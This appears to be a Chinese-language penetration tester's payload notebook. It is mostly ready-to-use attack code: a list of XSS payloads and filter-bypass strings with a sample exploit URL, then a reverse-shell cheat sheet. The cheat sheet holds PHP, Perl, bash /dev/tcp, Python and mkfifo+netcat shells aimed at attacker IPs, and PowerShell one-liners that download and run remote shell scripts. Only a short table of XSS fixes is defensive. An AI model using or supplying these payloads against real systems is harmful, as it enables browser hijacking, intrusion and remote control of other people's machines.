payload记录

XXS

简单payload

自动弹窗优先级

1
svg > img > iframe > object > embed > video/audio > details > marquee > math
常见xss的payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
   #标签外常用#base64加密
<object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
#img#强制错误弹
<img src=x onerror=alert('XSS')>
#svg#加载弹窗
<svg onload=alert('XSS')>
#svg#加密payload
<svg onload=eval(atob('YWxlcnQoMSk='))>
#svg内嵌代码1
<svg>
<animate onbegin=alert(1) attributeName=x />
</svg>
#svg内嵌代码2
<svg>
<set onbegin=alert(1) />
</svg>
#svg内嵌代码3
<svg>
<foreignObject onload=alert(1)></foreignObject>
</svg>
#点击 # JS 协议
<a href="javascript:alert('xxx')">xss</a>
<a data-url="" onclick="alert('xxx')">xss</a>

#normal
<script>alert('XSS')</script>

#鼠标移动
<a onmousemove="alert(1)">hover me</a>
<a onmousemove="alert(1)" style="display:block;width:200px;height:50px;background:red">

#鼠标移动代码2
<math>
<mtext onmouseover=alert(1)>X</mtext>
</math>

#特定标签
<iframe src=about:blank onload=alert(1)></iframe>

#强制本页无限弹窗
#聚焦时弹xss,强制聚焦
<input autofocus onfocus=alert(1)>
#非 常见标签
#万能嵌入器#早期网页:<embed src="movie.swf">
<embed src="data:text/html,<script>alert(1)</script>">
#详细信息
<details open ontoggle=alert(1)>
#h5视频标签
<video src=x onerror=alert(1)>
#h5音频标签
<audio src=x onerror=alert(1)>


1
2
3
4
5
6
7
8
9
10
#常见反射型
"+onmouseover=alert/*abcd*/`xss`

""; alert`1`; //";
0||alert%0D`1`//
%0a`${alert%0D(1)}`
onload=alert`1` //

#流程中含有转义步骤
\u0022\u003b+alert\u00601\u0060\u003b+//

注:html解析HTML 实体编码

​ 例如:

1
&quot;   html解码成	"

注:JavaScript Unicode 转义(\uXXXX)URL 编码(%XX)

xxs需要注意被墙了可以尝试从转义或者解析角度注入

当然文件预览的方向也可以尝试

可以通过网址来查看以前大佬们提交的漏洞

若响应包存在请求头 application/javascript

1
2
通杀测试
<p><img src='http://xxxxx/xss/xss.gif' alt='Smiley face' width='32' height='32'></p>

python jsingif.py -i hack.gif “javascript:alert(‘Power_Liu’)”

jsingif.py

用ai改了一下,python3也可以用

jsingif.py

若页面存在预览和上传

xss.pdf

经典示例:

get参数变更

示例poc:

1
https://www.xxx.com/employers/sem-dual-lp/?utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e

payload:

1
2
3
4
abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
解析:

abc'%3breturn+false})%3b})%3balert`xss ;<%2fscript>
图片名称变更

payload: \ “><img src=1 onerror=" URL=String;

xss修复建议

维度 安全策略与行为 技术细节与风险点说明
编码解析 单次实体解码 HTML 实体(如 <)会被还原为 <,但 URL 编码(%xx)不会被解析。这种设计彻底切断了“解码->绕过->再解码”的二次解析攻击链。
属性过滤 属性级白名单 仅保留 hrefsrc 等必要路径属性。所有 on\* 事件、style 及自定义属性全部抹除,防止 CSS 表达式或 JS 事件注入。
协议限制 严格协议校验 拦截 javascript:data: 伪协议。采用先解码后校验的逻辑,防止利用编码后的非法协议绕过正则匹配。
组件重写 主动安全配置 对 Flash 等插件不只是过滤,而是重写属性。强制设置 allowscriptaccess="never"(禁调 JS)和 allownetworking="internal"(限制外联)。
资源控制 内容安全策略 (CSP) 配合域名白名单,限制仅加载官方脚本。这是防止外部恶意脚本注入的最后一道防线。
自动处理 自动链接转换 仅在安全校验通过后,将纯文本 URL 转换为 <a> 标签,确保输出的 DOM 结构可控。

反弹shell

方式 依赖工具 优点 缺点
Bash Bash Shell 无需安装,极其通用 某些精简系统(如 Alpine)可能不支持
NC (FIFO) netcat 几乎所有系统都有 nc 命令较长,容易出错
Python Python 2/3 交互性强,稳定 需要预装 Python 环境
PHP PHP-cli Web 服务器常用 需要 PHP 命令行模式支持

PHP Reverse Shell

1
2
3
4
5
6
7
<?php
set_time_limit (0);
$ip="192.168.xx.xx";
$port=8080;
$sock=fsockopen($ip,$port);
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
1
php -r '$sock=fsockopen("192.168.1.1",监听端口);exec("/bin/sh -i <&3 >&3 2>&3");'

PERL Reverse Shell

1
perl -e 'use Socket;$i="192.168.xxx.xx";$p=8123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

mkfifo+php+nc主要条件

1
2
3
4
5
<?php
$ip = '192.168.xxx.xxx';
$port = 8080;
system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ip $port > /tmp/f");
?>

RCE Reverse Shell

1
2
3
4
#centos--反弹shell
bash -i >& /dev/tcp/10.xx.0.xx/8080 0>&1
#宿主
nc -lvnp 8080

Python Reverse Shell

1
2
3
4
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.xx.xx",监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

#python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.xx.xx",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Windows Reverse Shell

1
2
3
4
5
6
7
8
9
#powercat反弹
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.xxx.144:1234/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.xxx.144 -port 4444

#Reverse UDP shell
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.xxx.144:1234/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.xxx.144 -port 6666

#Reverse ICMP shell
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.xxx.144:1234/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.xxx.144

工具

Windows环境下反弹shell各类姿势-腾讯云开发者社区-腾讯云

绕过防火墙

FIFO(First In, First Out) 也就是 命名管道(Named Pipe),是一个极其强大的工具。

1
2
3
4
nc 192.168.1.1 8080 -e /bin/sh -> 报错 invalid option -- e。

FIFO 绕过: ```bash
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 8080 > /tmp/f